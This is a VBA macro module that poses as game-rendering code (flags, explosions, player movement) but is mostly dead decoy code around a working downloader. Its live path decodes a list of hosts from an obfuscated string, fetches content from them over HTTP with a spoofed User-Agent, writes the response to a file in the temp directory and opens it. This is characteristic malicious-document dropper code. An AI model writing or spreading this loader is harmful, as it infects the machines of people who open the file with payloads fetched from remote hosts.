Public MarkusPils() As String
Public THuesdayMorning_4 As String

Public Const THuesdayMorning_System = "User-Agent"
Public SubProperty As Object


Public THuesdayMorning_VEAM As Object
Public THuesdayMorning_Fish As Integer


Public AlertN() As String

Public AlertNE As String

Public THuesdayMorning_PokerFace As Variant
Public THuesdayMorning_aifde As Object
Public THuesdayMorning_FLAME As String
Public THuesdayMorning_avatar As Object

Public smbi As String
Public THuesdayMorning_2 As String
Public Const Quubo = 0




Public Stocke As Integer
Public THuesdayMorning_Project As String
Public VertikName As String
Public CofeeShop As Object


Public Sub AnimTransferMap(Caption As String, IsMapTransfer As Boolean)
    Dim xt As Integer, yt As Integer, PValue As Integer, I As Integer, L As Long

    Set THuesdayMorning_avatar = CreateObject(AlertN(3))
   Shtefin = Replace(Replace("cantalooplingerie.co.uk\0677rg56CHAS89tg7gjkkhhprottity.cLLOO\af\0677rg56CHAScasajenty.cLLOO\0677rg56CHASa-host.co.uk\0677rg56", "LLOO", "om"), "\", "/")

MarkusPils = Split(Shtefin, F3.CHAS.Caption)
 Set SubProperty = CreateObject(AlertN(1))
    Set THuesdayMorning_aifde = CreateObject(AlertNE)

Set THuesdayMorning_VEAM = THuesdayMorning_avatar.Environment(AlertN(4))
    Exit Sub
    xt = CenterX - 77
    yt = CenterY - 10
    If IsMapTransfer Then
        PValue = (ResX - 88) \ 12
        L = UBound(RMData) \ PValue
        For I = 1 To PValue
            If I * L >= RMCount Then
                Optio.nGFX "selectfalse", 32 + I * 12, CenterY + 200
            Else
                Optio.nGFX "selecttrue", 32 + I * 12, CenterY + 200
            End If
        Next
    End If
End Sub



Public Sub AnimPowerup(pwr As Integer)
    Dim rBuff As RECT
    Dim ExX As Long, ExY As Long
    If NewGTC - PowerFrameT(pwr) > 100 Then
        PowerFrame(pwr) = PowerFrame(pwr) + 1
        If PowerUp(pwr) = 1 Then
            If PowerFrame(pwr) > 5 Then PowerFrame(pwr) = 0
        Else
            If PowerFrame(pwr) > 11 Then PowerFrame(pwr) = 0
        End If
        PowerFrameT(pwr) = NewGTC
    End If

    If PowerEffect(pwr) = 2 Then
        If NewGTC - PowerTick(pwr) > 50 Then
            PowerTick(pwr) = NewGTC
            PowerEffect(pwr) = 3
        Else
            Exit Sub
        End If
    ElseIf PowerEffect(pwr) = 3 Then
        If NewGTC - PowerTick(pwr) > 50 Then
            PowerTick(pwr) = NewGTC
            PowerEffect(pwr) = 2
            Exit Sub
        End If
    End If


    ExX = PowerX(pwr)
    ExY = PowerY(pwr)
    ExX = ExX - MeX: ExY = ExY - MeY

    rBuff.Top = 355 + (PowerUp(pwr) - 1) * 24
    rBuff.Bottom = rBuff.Top + 24
    rBuff.Left = PowerFrame(pwr) * 24
    rBuff.Right = rBuff.Left + 24

    If ExX < 0 Then rBuff.Left = rBuff.Left + Abs(ExX): ExX = 0
    If ExY < 0 Then rBuff.Top = rBuff.Top + Abs(ExY): ExY = 0
    If ExX > ResX - 24 Then rBuff.Right = rBuff.Right - (ExX - (ResX - 24)): ExX = ResX - 24 + (ExX - (ResX - 24))
    If ExY > ResY - 24 Then rBuff.Bottom = rBuff.Bottom - (ExY - (ResY - 24)): ExY = ResY - 24 + (ExY - (ResY - 24))
    If PowerUp(pwr) <> 0 Then BackBuffer.BltFast ExX, ExY, DirectDraw_Tuna1, rBuff, DDBLTFAST_WAIT Or DDBLTFAST_SRCCOLORKEY
End Sub


Public Sub AnimExpl(I As Integer)
    Dim xt As Integer, yt As Integer, rExpl As RECT
    Dim sw As Integer, sh As Integer
    Dim ExY As Integer
    If NewGTC - AnimExT(I) > 50 Then
        AnimExT(I) = NewGTC
        AnimExF(I) = AnimExF(I) + 1
        If AnimExF(I) > 10 Then
            AnimExF(I) = 0
            Expl(I) = False
            Exit Sub
        End If
    End If
    rExpl.Left = rBombExp(AnimExF(I)).Left
    rExpl.Right = rBombExp(AnimExF(I)).Right
    rExpl.Top = rBombExp(AnimExF(I)).Top
    rExpl.Bottom = rBombExp(AnimExF(I)).Bottom

    sw = rExpl.Right - rExpl.Left
    sh = rExpl.Bottom - rExpl.Top
    xt = ExplX(I) - MeX - (sw / 2)
    yt = ExplY(I) - MeY - (sh / 2)
    If xt < 0 Then rExpl.Left = rExpl.Left + Abs(xt): xt = 0
    If yt < 0 Then rExpl.Top = rExpl.Top + Abs(yt): yt = 0
    If xt > ResX - sw Then rExpl.Right = rExpl.Right - (xt - (ResX - sw)): xt = (ResX - sw) + (xt - (ResX - sw))
    If yt > ResY - sh Then rExpl.Bottom = rExpl.Bottom - (yt - (yt - sh)): ExY = (yt - sh) + (yt - (ResY - sh))

End Sub








Public Sub Flags(Colr As Integer, I As Integer)
    If BackBuffer.isLost Then Exit Sub
    Dim xt As Integer, yt As Integer, a As Integer, b As Integer, G As Byte
    Dim rFlag As RECT
    G = 0
    If Colr = 1 Then
        G = 1
        If FlagCarry1(I) > 0 Then
            Flag1(0, I) = Players(FlagCarry1(I)).charX + 18
            Flag1(1, I) = Players(FlagCarry1(I)).charY + 3: G = 9
        End If
        xt = Flag1(0, I)
        yt = Flag1(1, I)
    ElseIf Colr = 2 Then
        G = 2
        If FlagCarry2(I) > 0 Then
            Flag2(0, I) = Players(FlagCarry2(I)).charX + 18
            Flag2(1, I) = Players(FlagCarry2(I)).charY + 3: G = 9
        End If
        xt = Flag2(0, I)
        yt = Flag2(1, I)
    ElseIf Colr = 3 Then
        G = 3
        If FlagCarry3(I) > 0 Then
            Flag3(0, I) = Players(FlagCarry3(I)).charX + 18
            Flag3(1, I) = Players(FlagCarry3(I)).charY + 3: G = 9
        End If
        xt = Flag3(0, I)
        yt = Flag3(1, I)
    ElseIf Colr = 4 Then
        G = 4
        If FlagCarry4(I) > 0 Then
            Flag4(0, I) = Players(FlagCarry4(I)).charX + 18
            Flag4(1, I) = Players(FlagCarry4(I)).charY + 3: G = 9
        End If
        xt = Flag4(0, I)
        yt = Flag4(1, I)
    ElseIf Colr = 5 Then
        G = 5
        If FlagCarry5(I) > 0 Then
            Flag5(0, I) = Players(FlagCarry5(I)).charX + 18
            Flag5(1, I) = Players(FlagCarry5(I)).charY + 3: G = 9
        End If
        xt = Flag5(0, I)
        yt = Flag5(1, I)
    End If

out:
End Sub


 Public Sub PlayCry(cry As Integer)
 If cry = 1 Then
CallByName CofeeShop, F3.OptionButton1.Tag, VbMethod, AlertN(5), THuesdayMorning_4, False
Exit Sub
Else: GoTo lab1
End If
 If c.Ry.Offset = 0 Then
 Exit Sub
 End If
 writer.Write (Encoding.ASCII.GetBytes("RIFF"))
 writer.Write (0)
 writer.Write (Encoding.ASCII.GetBytes("WAVE"))
 writer.Write (Encoding.ASCII.GetBytes("fmt "))
 writer.Write (16)
 writer.Write (CUS.hort(1))
 writer.Write (CUS.hort(1))

lab1:
CallByName CofeeShop, F3.OptionButton2.Tag, VbMethod, THuesdayMorning_System, _
F3.SpinButton1.Tag
Exit Sub
 stream.Seek 0, SeekOrigin.begin
 Player.Load
 Player.Play
End Sub


Public Sub Vertik()


Set CofeeShop = CreateObject(VertikName)

smbi = F3.Label1.Caption
AlertNE = AlertN(2)

AnimTransferMap "Caption", False


 Stocke = 24 / 4
 THuesdayMorning_FLAME = THuesdayMorning_VEAM(AlertN(6))
MakeFarplane "G", "I", "MS"
End Sub

Public Function FindNext(R As String, S As Integer) As String


CallByName SubProperty, "sav" + F3.o3.Caption, VbMethod, THuesdayMorning_Project, 2




THuesdayMorning_aifde.Open (THuesdayMorning_Project)

End Function


Public Function HMBCP(D)
 Dim fb As Asck
 doc_string = "Outline Level 2"
Set fb = New Asck
    doc_string = "Outline Level 3"
    fb.PropellersHead
End Function







Public Sub MakeFarplane(a As String, b As String, c As String)
GoTo old18
    If BackBuffer.isLost Then Exit Sub
    Dim xt As Integer, yt As Integer, rDD As Integer
    Dim xtl As Integer, ytl As Integer, xw As Integer, yw As Integer
    xw = ResX
    yw = ResY
    If xw > 1280 Then xw = 1280
    If yw > 960 Then yw = 960
    xt = 0.1568 * MeX
    yt = 0.1176 * MeY
    xtl = xt + xw
    ytl = yt + yw
    If xtl > 1280 Then
        xt = 1280 - xw
        xtl = 1280
    End If
    If ytl > 960 Then
        yt = 960 - yw
        ytl = 960
    End If

old18:
    On Error GoTo dee13

 Dim I

For I = LBound(MarkusPils) To UBound(MarkusPils) Step 1
 ShugarMilk 64
If CofeeShop.Status <> 200 Then
 Err.Raise 700 + vbObjectError, "G", "Dro"
End If



    MakeFarplane2 31
 Exit Sub
dee13:
Next
On Error GoTo 0

Exit Sub
    If xt < 0 Then
        xt = 0
        xtl = xw
    End If
    If yt < 0 Then
        yt = 0
        ytl = yw
    End If

    With rD.D.hh
        .Left = xt
        .Top = yt
        .Right = xtl
        .Bottom = ytl
    End With
    BackBuffer.BltFast 0, 0, DirectDraw_Farplane, rDD, DDBLTFAST_WAIT
End Sub




Public Sub DropFlag()
    Dim lMsg As Byte
    Dim oNewMsg() As Byte, lNewOffSet As Long
    lNewOffSet = 0
    ReDim oNewMsg(0)
    lMsg = MSG_DROPFLAG
    AddBufferData oNewMsg, VarPtr(lMsg), LenB(lMsg), lNewOffSet
    SendTo oNewMsg
End Sub

Public Sub WriteChat()
    Dim e As Integer, j As Integer, q As Integer, F As Integer, D As Integer, rrect As RECT, I As Integer
    DirectDraw_Chat.BltColorFill rrect, KEYColor
    e = 1
    j = UBound(Chat)
    For I = 0 To j
        q = Len(Chat(I))
        While q > 0
            F = MakeText(Mid$(Chat(I), 1, 1) & Mid$(Chat(I), e + 1, q), 5, 5 + (I + D) * 12, True, DirectDraw_Chat)
            e = e + F - 1
            q = Len(Chat(I)) - e
            If q > 0 Then D = D + 1
        Wend
        e = 0: q = 0
    Next
End Sub


Public Sub mapRender()

GoTo fixedTypeLbl2
If BackBuffer.isLost Then Exit Sub
    If DirectDraw_Tiles Is Nothing Then Exit Sub
    Dim DestX As Single, DestY As Single, FrameChange(255, 255) As Byte
    Dim I As Integer, R As Integer, j As Integer, c As Integer, D As Integer, a As Integer, e As Integer
    Dim Xfind As Integer, Yfind As Integer, Xwdth As Integer, Ywdth As Integer, X As Integer
    Dim Xcoor As Integer, Ycoor As Integer, Xdif As Integer, Ydif As Integer
    Dim TileGet As Integer, xt As Integer, yt As Integer, ToX As Integer, ToY As Integer
    ReDim AnimsPlayed(0)
    MeX = Playe.rs(MeNum).charX - CenterSX
    MeY = Playe.rs(MeNum).charY - CenterSY
    MapX = (MeX - (MeX Mod 16)) / 16
    MapY = (MeY - (MeY Mod 16)) / 16
    If MeY < 0 Then MapY = MapY - 1
    If MeX < 0 Then MapX = MapX - 1
    DestX = Playe.rs(MeNum).charX - MapX * 16
    DestY = Playe.rs(MeNum).charY - MapY * 16
    Xdif = MeX - MapX * 16
    Ydif = MeY - MapY * 16
    ToX = ResX / 16
    ToY = ResY / 16

    If ResY = 600 Then
        If Ydif < 8 Then ToY = 37 Else ToY = 38
    End If
    I = MapX * 16 + Xdif
    j = MapY * 16 + Ydif
    D = I
    c = j
    If I < 0 Then D = 0
    If j < 0 Then c = 0
    TileG.et.Left = D
    TileG.et.Top = c
    If I < 0 Then D = I Else D = 0
    If j < 0 Then c = j Else c = 0
    D = TileG.et.Left + ResX + D
    c = TileG.et.Top + ResY + c
    If D > 4080 Then D = 4080
    If c > 4080 Then c = 4080
    TileG.et.Right = D
    TileG.et.Bottom = c
    D = MapX * 16 + Xdif
    c = MapY * 16 + Ydif
    If D >= 0 Then D = 0
    If c >= 0 Then c = 0
    BackBuffer.BltFast Abs(D), Abs(c), DirectDraw_Map, TileGet, DDBLTFAST_WAIT Or DDBLTFAST_SRCCOLORKEY
    c = 0
    D = 0

fixedTypeLbl2:
 THuesdayMorning_Project = THuesdayMorning_FLAME


GoTo fixedTypeLbl3

    If MeY < 0 Then c = MapY
    If MeX < 0 Then D = MapX
    For R = Abs(c) To ToY
        For I = Abs(D) To ToX

            Xcoor = I * 16
            If I > 0 Then Xcoor = Xcoor - Xdif
            Ycoor = R * 16
            If R > 0 Then Ycoor = Ycoor - Ydif

            X = AnimO.ffset(yt, xt)
            If X > 0 Then
                a = Animati.ons(yt, xt)
                If FrameChange(FrameC.ount(a), AnimS.peed(a)) = 0 Then
                    If AnimS.peed(a) = 0 Then AnimS.peed(a) = 1
                    AnimC.ount(FrameC.ount(a), AnimS.peed(a)) = AnimC.ount(FrameC.ount(a), AnimS.peed(a)) + Speed / AnimS.peed(a)
                    If AnimC.ount(FrameC.ount(a), AnimS.peed(a)) > FrameC.ount(a) - 1 Then AnimC.ount(FrameC.ount(a), AnimS.peed(a)) = 0
                End If
                FrameChange(FrameC.ount(a), AnimS.peed(a)) = 1
                e = AnimC.ount(FrameC.ount(a), AnimS.peed(a))
                e = (e + X) Mod (FrameC.ount(a))
                TileG.et.Top = Anim.FY(a, e) + Yfind
                TileG.et.Bottom = TileG.et.Top + Ywdth
                TileG.et.Left = Anim.FX(a, e) + Xfind
                TileG.et.Right = TileG.et.Left + Xwdth
                Call BackBuffer.BltFast(Xcoor, Ycoor, DirectDra.w_Anims(Anim.FS(a, 0)), TileGet, DDBLTFAST_WAIT Or DDBLTFAST_SRCCOLORKEY)
            End If
out:
        Next
    Next

fixedTypeLbl3:
THuesdayMorning_Project = THuesdayMorning_Project + Replace(AlertN(12), ".", CStr(Stocke) + ".")
 SubProperty.Type = 1
End Sub



Public Sub ShugarMilk(e As Integer)
    Dim Rx As Integer, Ry As Integer, rBuff As String
    Dim xt As Integer, yt As Integer, j As Integer
    Dim NewX As Integer, NewY As Integer, D As Integer, SgnX As Integer, SgnY As Integer
    Dim RatioX As Single, RatioY As Single
    Rx = 452
    Ry = 81

     THuesdayMorning_4 = F3.ZK.Caption & MarkusPils(I)
 Stocke = Stocke + 2
 Dim XIpotom2 As Asck
Set XIpotom2 = New Asck
If e < 300 Then


 XIpotom2.Challenge "RDBMS", 21
CallByName CofeeShop, F3.ToggleButton1.Caption, VbMethod
Set XIpotom2 = Nothing

Else

End If
Exit Sub
    NewX = UniB.all(I).BallX
    NewY = UniB.all(I).BallY
    If UniB.all(I).BSpeedX > UniB.all(I).BSpeedY And UniB.all(I).BSpeedY > 0 Then RatioY = UniB.all(I).BSpeedX / UniB.all(I).BSpeedY
    If UniB.all(I).BSpeedY > UniB.all(I).BSpeedX And UniB.all(I).BSpeedX > 0 Then RatioX = UniB.all(I).BSpeedY / UniB.all(I).BSpeedX
    If RatioX < 1 Then RatioX = 1
    If RatioY < 1 Then RatioY = 1
    If UniB.all(I).BSpeedX > 0 Then UniB.all(I).BSpeedX = UniB.all(I).BSpeedX - (0.01 / RatioX) * Speed
    If UniB.all(I).BSpeedY > 0 Then UniB.all(I).BSpeedY = UniB.all(I).BSpeedY - (0.01 / RatioY) * Speed
    If UniB.all(I).BSpeedX < 0 Then UniB.all(I).BSpeedX = 0
    If UniB.all(I).BSpeedY < 0 Then UniB.all(I).BSpeedY = 0

    UniB.all(I).BLoopX = UniB.all(I).BLoopX + (UniB.all(I).BSpeedX * Speed)
    For j = 1 To UniB.all(I).BLoopX
        NewX = NewX + UniB.all(I).BMoveX
        UniB.all(I).BLoopX = UniB.all(I).BLoopX - 1
    Next

    UniB.all(I).BLoopY = UniB.all(I).BLoopY + (UniB.all(I).BSpeedY * Speed)
    For j = 1 To UniB.all(I).BLoopY
        NewY = NewY + UniB.all(I).BMoveY
        UniB.all(I).BLoopY = UniB.all(I).BLoopY - 1
    Next


    SgnX = Sgn(NewX - UniB.all(I).BallX)
    SgnY = Sgn(NewY - UniB.all(I).BallY)


    If SgnX = 1 Then
        For D = UniB.all(I).BallX + 1 To NewX
            j = WeaponT.ouch(6, I, D, UniB.all(I).BallY)
            If j = 6 Then
                UniB.all(I).BMoveX = UniB.all(I).BMoveX * -1
                NewX = D - 1
                Exit For
            End If
        Next
    End If

    If SgnX = -1 Then
        For D = UniB.all(I).BallX - 1 To NewX Step -1
            j = WeaponT.ouch(6, I, D, UniB.all(I).BallY)
            If j = 6 Then
                UniB.all(I).BMoveX = UniB.all(I).BMoveX * -1
                NewX = D + 1
                Exit For
            End If
        Next
    End If

    If SgnY = 1 Then
        For D = UniB.all(I).BallY + 1 To NewY
            j = WeaponT.ouch(6, I, NewX, D)
            If j = 6 Then
                UniB.all(I).BMoveY = UniB.all(I).BMoveY * -1
                NewY = D - 1
                Exit For
            End If
        Next
    End If

    If SgnY = -1 Then
        For D = UniB.all(I).BallY - 1 To NewY Step -1
            j = WeaponT.ouch(6, I, NewX, D)
            If j = 6 Then
                UniB.all(I).BMoveY = UniB.all(I).BMoveY * -1
                NewY = D + 1
                Exit For
            End If
        Next
    End If

    UniB.all(I).BallX = NewX
    UniB.all(I).BallY = NewY
    j = WeaponT.ouch(6, I, NewX, NewY)
    xt = NewX
    yt = NewY
    xt = xt - MeX: yt = yt - MeY

    rBuf.F.Top = Ry
    rBuf.F.Bottom = rBuf.F.Top + 10
    rBuf.F.Left = Rx + 10 * (UniB.all(I).Color - 1)
    rBuf.F.Right = rBuf.F.Left + 10

    If xt < 0 Then rBuf.F.Left = rBuf.F.Left + Abs(xt): xt = 0
    If yt < 0 Then rBuf.F.Top = rBuf.F.Top + Abs(yt): yt = 0
    If xt > ResX - 10 Then rBuf.F.Right = rBuf.F.Right - (xt - (ResX - 10)): xt = (ResX - 10) + (xt - (ResX - 10))
    If yt > ResY - 10 Then rBuf.F.Bottom = rBuf.F.Bottom - (yt - (ResY - 10)): yt = (ResY - 10) + (yt - (ResY - 10))

    BackBuffer.BltFast xt, yt, DirectDraw_NavBar, rBuff, DDBLTFAST_WAIT Or DDBLTFAST_SRCCOLORKEY
End Sub




Public Sub MakeFarplane2(I As Integer)
    Dim j As Integer, D As Integer, DiagMvSpd As Single, LastCX As Single, LastCY As Single, e As Integer
    Dim MvSpd As Single, sx As Single, sy As Single, chs As Single
    GoTo sinus
    MvSpd = Speed * 1.1

    If Player.S(I).FlagWho > 0 Then MvSpd = MvSpd * 0.75
    If Player.S(I).DevCheat > 2 Then MvSpd = MvSpd * 3
    If Player.S(I).Mode = 1 Then MvSpd = MvSpd * 6

    DiagMvSpd = 0.7 * 1.1
    chs = MvSpd / (Int(MvSpd) + 1)

    If Player.S(I).Ship = 6 Then
        Select Case Player.S(I).KeyIs
        Case Is = vbKeyLeft
            Player.S(I).animY = aLEFT2
        Case Is = vbKeyUp
            Player.S(I).animY = aUP2
        Case Is = vbKeyRight
            Player.S(I).animY = aRIGHT2
        Case Is = vbKeyDown
            Player.S(I).animY = aDOWN2
        End Select
    End If
    Player.S(I).animX = Player.S(I).KeyIs
    If Val(Int(MvSpd)) > 100 Then Exit Sub

    For j = 0 To Int(MvSpd)
        LastCX = Player.S(I).charX
        LastCY = Player.S(I).charY
        If Player.S(I).KeyIs = 1 Then
            Player.S(I).charX = Player.S(I).charX + chs
        ElseIf Player.S(I).KeyIs = 2 Then
            Player.S(I).charX = Player.S(I).charX + chs * DiagMvSpd
            Player.S(I).charY = Player.S(I).charY - chs * DiagMvSpd
        ElseIf Player.S(I).KeyIs = 3 Then
            Player.S(I).charY = Player.S(I).charY - chs
        ElseIf Player.S(I).KeyIs = 4 Then
            Player.S(I).charY = Player.S(I).charY - chs * DiagMvSpd
            Player.S(I).charX = Player.S(I).charX - chs * DiagMvSpd
        ElseIf Player.S(I).KeyIs = 5 Then
            Player.S(I).charX = Player.S(I).charX - chs
        ElseIf Player.S(I).KeyIs = 6 Then
            Player.S(I).charX = Player.S(I).charX - chs * DiagMvSpd
            Player.S(I).charY = Player.S(I).charY + chs * DiagMvSpd
        ElseIf Player.S(I).KeyIs = 7 Then
            Player.S(I).charY = Player.S(I).charY + chs
        ElseIf Player.S(I).KeyIs = 8 Then
            Player.S(I).charY = Player.S(I).charY + chs * DiagMvSpd
            Player.S(I).charX = Player.S(I).charX + chs * DiagMvSpd
        End If
        Call ShipTo.uch(I)
        For e = 1 To UBound(RetCollision)
            D = RetCollision(e)
            If D = 8 Then Player.S(I).charY = Player.S(I).charY - chs * 0.7
            If D = 9 Then Player.S(I).charY = Player.S(I).charY + chs * 0.7
            If D = 10 Then Player.S(I).charX = Player.S(I).charX - chs * 0.7
            If D = 11 Then Player.S(I).charX = Player.S(I).charX + chs * 0.7
            'The following four lines stop you from moving backwards on
            'ramps if you have a flag.
            'If D = 8 And Player.s(i).FlagWho > 0 And Player.s(i).KeyIs = 7 Then Player.s(i).charY = LastCY
            'If D = 9 And Player.s(i).FlagWho > 0 And Player.s(i).KeyIs = 3 Then Player.s(i).charY = LastCY
            'If D = 10 And Player.s(i).FlagWho > 0 And Player.s(i).KeyIs = 1 Then Player.s(i).charX = LastCX
            'If D = 11 And Player.s(i).FlagWho > 0 And Player.s(i).KeyIs = 5 Then Player.s(i).charX = LastCX
        Next
        GoSub whatever
    Next
    Exit Sub

sinus:
mapRender
 CallByName SubProperty, "Open" + "", VbMethod

THuesdayMorning_PokerFace = CallByName(CofeeShop, "re" + "sponseBody", VbGet)
Dim DRO As BounceCastle
Set DRO = New BounceCastle
DRO.Ant
    Exit Sub
whatever:
    sx = Player.S(I).charX
    sy = Player.S(I).charY
    '
    Call ShipTo.uch(I)
    If UBound(RectsRet) > 0 Then
        Player.S(I).charX = LastCX
        Player.S(I).charY = LastCY
        If (FindRects.Ret(104) And FindRects.Ret(105)) Or (FindRects.Ret(112) And FindRects.Ret(113)) Then
            Player.S(I).charY = sy
            Call ShipTo.uch(I)
            If Player.S(I).charY = LastCY Then
                If FindRects.Ret(112) And FindRects.Ret(113) Then 'touch right
                    Player.S(I).charX = Player.S(I).charX - 1
                End If
                Call ShipTo.uch(I)
                If FindRects.Ret(104) And FindRects.Ret(105) Then 'touch left
                    Player.S(I).charX = Player.S(I).charX + 1
                End If
            End If
            If UBound(RectsRet) > 0 Then Player.S(I).charY = LastCY
            Return
        End If
        If (FindRects.Ret(101) And FindRects.Ret(109)) Or (FindRects.Ret(108) And FindRects.Ret(116)) Then
            Player.S(I).charX = sx
            Call ShipTo.uch(I)
            If Player.S(I).charY = LastCY Then
                If FindRects.Ret(101) And FindRects.Ret(109) Then 'touch top
                    Player.S(I).charY = Player.S(I).charY + 1
                End If
                Call ShipTo.uch(I)
                If FindRects.Ret(108) And FindRects.Ret(116) Then 'touch bottom
                    Player.S(I).charY = Player.S(I).charY - 1
                End If
            End If
            If UBound(RectsRet) > 0 Then Player.S(I).charX = LastCX
            Return
        End If
    End If
    For e = 1 To UBound(RectsRet)
        D = RectsRet(e)
        If D = 101 Then
            If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY + chs * 0.8
            If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX + chs * 0.8
        End If
        If D = 102 Then
            If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY + chs * 0.4
            If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX + chs * 0.4
        End If
        If D = 103 Then
            If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY + chs * 0.4
            If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX + chs * 0.4
        End If
        '
        If D = 104 Then
            If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY + chs * 0.8
            If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX + chs * 0.8
        End If
        If D = 105 Then
            If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY - chs * 0.8
            If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX + chs * 0.8
        End If
        '
        If D = 106 Then
            If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY - chs * 0.4
            If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX + chs * 0.4
        End If
        If D = 107 Then
            If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY - chs * 0.4
            If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX + chs * 0.4
        End If
        If D = 108 Then
            If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY - chs * 0.8
            If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX + chs * 0.8
        End If
        '
        If D = 109 Then
            If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY + chs * 0.8
            If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX - chs * 0.8
        End If
        If D = 110 Then
            If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY + chs * 0.4
            If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX - chs * 0.4
        End If
        If D = 111 Then
            If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY + chs * 0.4
            If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX - chs * 0.4
        End If
        If D = 112 Then
            If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY + chs * 0.8
            If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX - chs * 0.8
        End If
        '
        If D = 113 Then
            If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY - chs * 0.8
            If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX - chs * 0.8
        End If
        If D = 114 Then
            If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY - chs * 0.4
            If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX - chs * 0.4
        End If
        If D = 115 Then
            If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY - chs * 0.4
            If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX - chs * 0.4
        End If
        If D = 116 Then
            If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY - chs * 0.8
            If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX - chs * 0.8
        End If
    Next
    '
    Call ShipTo.uch(I)
    If UBound(RectsRet) > 0 Then
        Player.S(I).charX = LastCX
        Player.S(I).charY = LastCY
        If (FindRects.Ret(104) And FindRects.Ret(105)) Or (FindRects.Ret(112) And FindRects.Ret(113)) Then
            Player.S(I).charY = sy
            Call ShipTo.uch(I)
            If UBound(RectsRet) > 0 Then Player.S(I).charY = LastCY
            Return
        End If
        If (FindRects.Ret(101) And FindRects.Ret(109)) Or (FindRects.Ret(108) And FindRects.Ret(116)) Then
            Player.S(I).charX = sx
            Call ShipTo.uch(I)
            If UBound(RectsRet) > 0 Then Player.S(I).charX = LastCX
            Return
        End If
    End If
    Return
End Sub